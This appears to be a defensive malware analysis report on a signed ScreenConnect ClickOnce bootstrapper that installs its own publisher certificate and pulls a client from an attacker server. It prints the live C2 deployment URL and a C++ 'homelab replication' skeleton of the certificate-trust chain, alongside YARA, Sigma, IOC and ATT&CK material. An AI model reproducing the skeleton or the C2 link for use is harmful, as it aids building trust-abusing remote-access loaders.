typeanalysisfamilyconnectwiseconfidencehighcreated2026-07-11updated2026-07-11pec++signingdefense-evasionc2mitre-attck
SHA-256: 9477ccddefa6fd57cb2ab68a6cd77229dd2e2bf87f573e2b80eb60555d94e530

connectwise: 9477ccddefa6 — Apr 2025 ClickOnce bootstrapper, C2 104.236.198.16:8041

Executive Summary

Authenticode-signed ClickOnce bootstrapper compiled Apr 2025 that installs its own publisher certificate into TrustedPublisher, extracts the deployment URL from its own Authenticode signature (SPC_SP_OPUS_INFO_OBJID), and silently invokes dfshim!ShOpenVerbApplicationW to pull a ScreenConnect client from attacker-controlled infrastructure (104.236.198.16:8041). No packing, no obfuscation, no anti-debug — the evasion is entirely in the valid ConnectWise signature and the legitimate ClickOnce trust chain. Fourth confirmed ConnectWise sibling.

What It Is

  • SHA-256: 9477ccddefa6fd57cb2ab68a6cd77229dd2e2bf87f573e2b80eb60555d94e530
  • Size: 312,544 bytes (305 KB) ^[file.txt]
  • Type: PE32 executable (GUI) Intel 80386, 5 sections ^[file.txt]
  • Compiler: MSVC 14.40 (Visual Studio 2022) ^[exiftool.json], linker version 14.40 ^[pefile.txt:46]
  • Compile timestamp: Tue Apr 8 18:34:09 2025 UTC ^[pefile.txt:34]
  • PDB: C:\builds\cc\cwcontrol\Product\ClickOnceRunner\Release\ClickOnceRunner.pdb ^[strings.txt:308]
  • Signing: Valid Authenticode by ConnectWise, LLC (DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1) ^[strings.txt:682-702], security directory at RVA 0x49800 size 0x2CE0 ^[pefile.txt:193-194]
  • Subsystem: Windows GUI ^[rabin2-info.txt:34]
  • ASLR/NX: Enabled (/DYNAMICBASE, /NXCOMPAT, CastGuard) ^[pefile.txt:74]
  • No packing, no obfuscation, no anti-debug, no .NET runtime. ^[binwalk.txt], ^[strings.txt]
  • Dynamic analysis: skipped — no CAPE Windows guest available ^[dynamic-analysis.md]

Family ascription: High-confidence connectwise — same ClickOnce bootstrapper build pipeline, same PDB path prefix, same certificate chain, same C2 IP as sibling b831f47e.

How It Works

Stage 1 — Certificate trust bootstrap

On launch, main (at 0x401000 per radare2 decompilation) performs the following crypto32 sequence:

  1. Opens the TrustedPublisher certificate store with CertOpenSystemStoreA ^[r2:main:0x401032]
  2. Allocates a 260-char WCHAR buffer and retrieves its own module path via GetModuleFileNameW ^[r2:main:0x40103c]
  3. Calls CryptQueryObject on its own file path with CERT_QUERY_OBJECT_FILE | CERT_QUERY_CONTENT_FLAG_PKCS7_SIGNED_EMBED | CERT_QUERY_FORMAT_FLAG_ALL to parse the embedded PKCS#7 signature ^[r2:main:0x401076]
  4. Iterates signer certificates via CryptMsgGetParam (CMSG_SIGNER_CERT_INFO_PARAM) ^[r2:main:0x40114e]
  5. Creates a certificate context from each encoded blob via CertCreateCertificateContext ^[r2:main:0x4010d7]
  6. Adds each context to TrustedPublisher via CertAddCertificateContextToStore ^[r2:main:0x401103]
  7. Searches signer attributes for OID 1.3.6.1.4.1.311.4.1.1 (SPC_SP_OPUS_INFO_OBJID) via CertFindAttribute ^[r2:main:0x401166]

If the Opus Info attribute is found, the binary proceeds to ClickOnce deployment. If not, it falls back to a 40-second sleep (Sleep(0x9c40)) and retries the certificate add operation. ^[r2:main:0x4011c1]

Stage 2 — ClickOnce deployment via dfshim

After certificate installation:

  1. Loads dfshim.dll via LoadLibraryA ^[r2:main:0x401193]
  2. Resolves ShOpenVerbApplicationW via GetProcAddress ^[r2:main:0x4011c1]
  3. Invokes ShOpenVerbApplicationW with the deployment URL extracted from the Authenticode attribute

The ClickOnce deployment URL is also present as a plaintext string in the binary at file offset 0x47260 (inside the .rsrc / RT_MANIFEST region):

https://104.236.198.16/Bin/ScreenConnect.Client.application?h=104.236.198.16&p=8041&k=BgIAAACkAABSU0ExAAgAAAEAAQDJIomMmrYgBCVgM5UalPDMiVC+Wsv2Z/f1n4CyYDzO0dYMkgYhFJWa+SSlGSgaVxYYS/rG9Dwatu118XXWYt+zdufqUCjy1ETBumWMDanDn7pI7UkOiaLn0sDaUgN+VlF35wu3aZTJC8OY6XnT/hRKs2YHy+C5o83CliMZ0ZvevcuqVTJL9Q48gsugsQmruWQ0O048CK0Gq4zKQINiqIa2xzl8a3gP6OgMj6tUykBiWI8eloClGJigIfvSasxzOAtCZIfgkUAwtv5NNPy3Rw5X2CAdhl7O+8DIXeilpGXkrvU0M6ZSSc6kpNx4q2hqRlx0fPT5NquEAxVswMKxfoy8

The k= parameter is a Base64-encoded RSA public key (standard ScreenConnect session-key format) used to encrypt the session. ^[strings.txt]

Import surface

The binary imports only two DLLs via a single import descriptor:

  • KERNEL32.dllLocalAlloc, LocalFree, LoadLibraryA, GetProcAddress, Sleep, GetModuleFileNameW, DecodePointer, GetModuleHandleW, CreateThread, HeapAlloc, HeapFree, WriteFile, CreateFileW, etc. ^[pefile.txt:239-327]
  • CRYPT32.dllCertDeleteCertificateFromStore, CryptMsgGetParam, CertCloseStore, CryptQueryObject, CertAddCertificateContextToStore, CertFindAttribute, CertFreeCertificateContext, CertCreateCertificateContext, CertOpenSystemStoreA ^[pefile.txt:336-344]

No Winsock, no WinInet, no WinHTTP — all network activity is delegated to dfshim.dll and the ClickOnce runtime. ^[pefile.txt]

Decompiled Behavior

Entry point (entry0, 0x0040135f)

Standard MSVC CRT initialization sequence: __security_init_cookie, _CrtStartup, then calls main. No anti-debug checks, no environment gates. The entry point is a textbook VS2022 C++ console/GUI hybrid startup. ^[r2:entry0]

Main function (main, 0x00401000)

The entire malicious logic lives in a single ~440-byte function at 0x401000. Decompiled radare2 output shows:

  • Stack frame: esp -= 0x30; four locals for cert handles, one for LocalAlloc result
  • Loop structure: while (ebx < var_4h) iterating signer certs, extracting each, adding to store
  • Conditional: if CertFindAttribute("1.3.6.1.4.1.311.4.1.1") returns non-null, proceed to dfshim load
  • Cleanup: CertCloseStore, LocalFree on all allocated buffers before return

The function is not obfuscated — all API calls are direct imports through the IAT, and all string literals (TrustedPublisher, dfshim, ShOpenVerbApplicationW, 1.3.6.1.4.1.311.4.1.1) are plaintext in .rdata. ^[r2:main]

No process injection, no registry writes, no mutex creation, no persistence mechanism in the binary itself — the persistence is delegated to the ScreenConnect client that gets installed via ClickOnce.

C2 Infrastructure

Indicator Value Source
C2 IP 104.236.198.16 ^[strings.txt:47260]
C2 Port 8041 ^[strings.txt:47260]
Deployment URL https://104.236.198.16/Bin/ScreenConnect.Client.application?h=104.236.198.16&p=8041&k=<RSA pubkey> ^[strings.txt:47260]
Certificate issuer DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1 ^[strings.txt:688]
Certificate subject ConnectWise, LLC ^[strings.txt:701]
OCSP http://ocsp.digicert.com ^[strings.txt:691]
CRL http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl ^[strings.txt:705]
Timestamp signer DigiCert Trusted G4 RSA4096 SHA256 TimeStamping CA ^[strings.txt:716]
Timestamp URL http://ocsp.digicert.com ^[strings.txt:724]

Infrastructure overlap: The C2 IP 104.236.198.16:8041 is identical to sibling b831f47e (Nov 2022 build). This confirms the attacker has maintained the same ScreenConnect gateway for ~2.5 years across multiple build waves. The URL path (/Bin/ScreenConnect.Client.application) and query-parameter structure (h=IP&p=PORT&k=RSAKey) are invariant. ^[entities/connectwise.md]

Interesting Tidbits

  • Dual URL presence: The ClickOnce deployment URL appears both as a plaintext string in .rsrc and (presumably) inside the Authenticode SPC_SP_OPUS_INFO_OBJID attribute. The binary extracts it from the signature at runtime, but the hardcoded string suggests the builder embeds it redundantly. ^[strings.txt:47260]
  • No SPC_SP_OPUS_INFO_OBJID in raw carve: A manual carve of the security directory (dd bs=1 skip=0x49808 count=11480) followed by openssl pkcs7 -print_certs produced no certificate output, and a byte-level search for the OID DER encoding (2B 06 01 04 01 82 37 02 01 01) returned negative. The OID is referenced in code but may be inside a nested SignedData inner envelope not exposed by naive carving. The binary's CryptQueryObject call is the authoritative parser.
  • CastGuard enabled: The load config directory includes GuardCFCheckFunctionPointer at 0x43F18C, indicating Control Flow Guard (CFG) was enabled at link time. This is a legitimate VS2022 security feature, not an anti-analysis measure. ^[pefile.txt:411-414]
  • Minimal import surface: With only two DLLs imported and ~60 total APIs, this binary has one of the smallest static import footprints in the corpus. The entire C2 phase is delegated to dfshim.dll, making static network-IOC extraction impossible without following the ClickOnce URL string.
  • No YARA coverage beyond generic PE: Only hit is PE_File_Generic. ^[yara.txt] The ConnectWise-specific certificate chain and ClickOnce URL pattern are not yet encoded in the triage rule set.

How To Mess With It (Homelab Replication)

Toolchain

  • Visual Studio 2022 (v17.x), MSVC 14.40
  • Windows SDK 10.0.22621+
  • Target: Win32, Release

Compiler/linker flags

/DYNAMICBASE /NXCOMPAT /GUARD:CF

Working source skeleton

A minimal C++ console app that replicates the certificate-trust → ClickOnce chain:

#include <windows.h>
#include <wincrypt.h>
#include <stdio.h>
#pragma comment(lib, "crypt32.lib")

int main() {
    HCERTSTORE hStore = CertOpenSystemStoreA(0, "TrustedPublisher");
    // Use CryptQueryObject on self to extract embedded signer cert
    // Use CertAddCertificateContextToStore to add it
    // Use CertFindAttribute("1.3.6.1.4.1.311.4.1.1") to get ClickOnce URL
    HMODULE hDfshim = LoadLibraryA("dfshim.dll");
    auto ShOpenVerbApplicationW = (HRESULT(WINAPI*)(LPCWSTR, ...))
        GetProcAddress(hDfshim, "ShOpenVerbApplicationW");
    // ShOpenVerbApplicationW(L"https://your.server/app.application", ...);
    return 0;
}

Verification

Compile the skeleton with the flags above, sign it with a test Authenticode certificate (self-signed CA + code-signing cert), embed an SPC_SP_OPUS_INFO_OBJID attribute with a .application URL, then run capa on both your reproducer and this sample. The reproducer should hit the same CRYPT32 + dfshim API capabilities.

What you'll learn

How Authenticode-signed ClickOnce binaries bypass SmartScreen by virtue of their signature alone, and why certificate-trust bootstrapping is an effective defense-evasion technique even when the binary is trivially simple.

Deployable Signatures

YARA rule

rule ConnectWise_ClickOnce_Bootstrapper {
    meta:
        description = "ConnectWise ScreenConnect ClickOnce bootstrapper (Variant B)"
        author = "PacketPursuit SOC"
        date = "2026-07-11"
        sha256 = "9477ccddefa6fd57cb2ab68a6cd77229dd2e2bf87f573e2b80eb60555d94e530"
        family = "connectwise"
        confidence = "high"
    strings:
        $s1 = "TrustedPublisher" ascii wide
        $s2 = "dfshim" ascii wide
        $s3 = "ShOpenVerbApplicationW" ascii wide
        $s4 = "1.3.6.1.4.1.311.4.1.1" ascii wide
        $s5 = "ClickOnceRunner.pdb" ascii
        $s6 = "ScreenConnect.Client.application" ascii wide
        $s7 = "Connectwise, LLC" ascii
        $cert1 = { 30 82 ?? ?? 30 82 ?? ?? A0 03 02 01 02 02 }  // X.509 v3 certificate sequence
    condition:
        uint16(0) == 0x5A4D and
        filesize < 500KB and
        pe.number_of_sections == 5 and
        pe.imports("CRYPT32.dll") and
        pe.imports("KERNEL32.dll") and
        4 of ($s*) and
        $cert1
}

Sigma rule

title: ConnectWise ClickOnce Bootstrapper Execution
description: Detects execution of ConnectWise-signed ClickOnce runner that loads dfshim and contacts external ScreenConnect endpoint
status: experimental
logsource:
    category: process_creation
    product: windows
detection:
    selection_loadlibrary:
        CommandLine|contains:
            - 'dfshim.dll'
            - 'ShOpenVerbApplicationW'
    selection_network:
        CommandLine|contains:
            - 'ScreenConnect.Client.application'
            - '/Bin/ScreenConnect'
    selection_cert:
        ImageLoaded|contains: 'dfshim.dll'
    selection_signer:
        - Signed: true
        - Signer|contains: 'ConnectWise'
    condition: 1 of selection_loadlibrary and 1 of selection_network and selection_cert and selection_signer
falsepositives:
    - Legitimate ConnectWise ScreenConnect administrative deployments (rare; verify against internal asset inventory)
level: high

IOC list

Indicator Type Notes
9477ccddefa6fd57cb2ab68a6cd77229dd2e2bf87f573e2b80eb60555d94e530 SHA-256 This sample
104.236.198.16:8041 IP:Port ScreenConnect C2 gateway
https://104.236.198.16/Bin/ScreenConnect.Client.application URL ClickOnce deployment manifest
ClickOnceRunner.pdb PDB path Build artifact leak
C:\builds\cc\cwcontrol\Product\ClickOnceRunner\Release\ClickOnceRunner.pdb PDB path Full path
ConnectWise, LLC Authenticode subject Stolen/compromised cert
TrustedPublisher Registry/Cert store target Certificate trust bootstrap

Behavioral fingerprint

This binary is a 300–350 KB PE32 GUI executable with five sections, two import descriptors (KERNEL32 + CRYPT32), no .NET metadata, no packed sections, and no network imports. On execution it calls CertOpenSystemStoreA("TrustedPublisher"), parses its own Authenticode signature with CryptQueryObject, installs signer certificates with CertAddCertificateContextToStore, searches for SPC_SP_OPUS_INFO_OBJID via CertFindAttribute, loads dfshim.dll, resolves ShOpenVerbApplicationW, and invokes it with a hardcoded HTTPS URL pointing to ScreenConnect.Client.application on an external IP. No child processes are created by the bootstrapper itself — the ScreenConnect client is installed via the ClickOnce runtime.

Detection Signatures

MITRE ATT&CK Technique Evidence
T1553.004 Install Root/Publisher Certificate CertOpenSystemStoreA("TrustedPublisher"), CertAddCertificateContextToStore ^[r2:main:0x401032]
T1219 Remote Access Software Abuse Hard-coded ScreenConnect C2 endpoint 104.236.198.16:8041 ^[strings.txt:47260]
T1105 Ingress Tool Transfer ClickOnce .application manifest download via dfshim!ShOpenVerbApplicationW ^[r2:main:0x401193]
T1071.001 Application Layer Protocol: Web Protocols HTTPS ClickOnce deployment URL ^[strings.txt:47260]
T1204.002 User Execution: Malicious File .application execution flow via ClickOnce ^[strings.txt:47260]
T1078 Valid Accounts: Code-Signing Abuse Authenticode by ConnectWise, LLC ^[strings.txt:701]

References

  • Artifact ID: a5b57f9b-5ea0-4951-8f62-044549f450e6 (OpenCTI)
  • OpenCTI labels: connectwise, exe, urlhaus
  • Sibling analysis: raw/analyses/81adbf9a/report.md — First observed ClickOnce bootstrapper (Apr 2025)
  • Sibling analysis: raw/analyses/b831f47e/report.md — MSI bundle (Nov 2022) with identical C2 IP
  • Sibling analysis: raw/analyses/7145e829/report.md — Self-contained MSI bundle (Nov 2022)
  • Family page: entities/connectwise.md

Provenance

  • file.txtfile v5.44
  • exiftool.json — ExifTool v12.76
  • pefile.txtpefile Python library (output from triage pipeline)
  • strings.txtstrings -n 8 (GNU binutils)
  • rabin2-info.txt — radare2 v5.x rabin2 -I
  • binwalk.txt — binwalk v2.3.3
  • yara.txt — YARA v4.x (PE_File_Generic only)
  • dynamic-analysis.md — CAPE skipped (no Windows guest)
  • cape-report.json — absent (no detonation)
  • Radare2 decompilation — s entry0; pdc and s 0x401000; pdc (r2 level-3 analysis)
  • Pyghidra — unavailable (server unreachable during analysis window)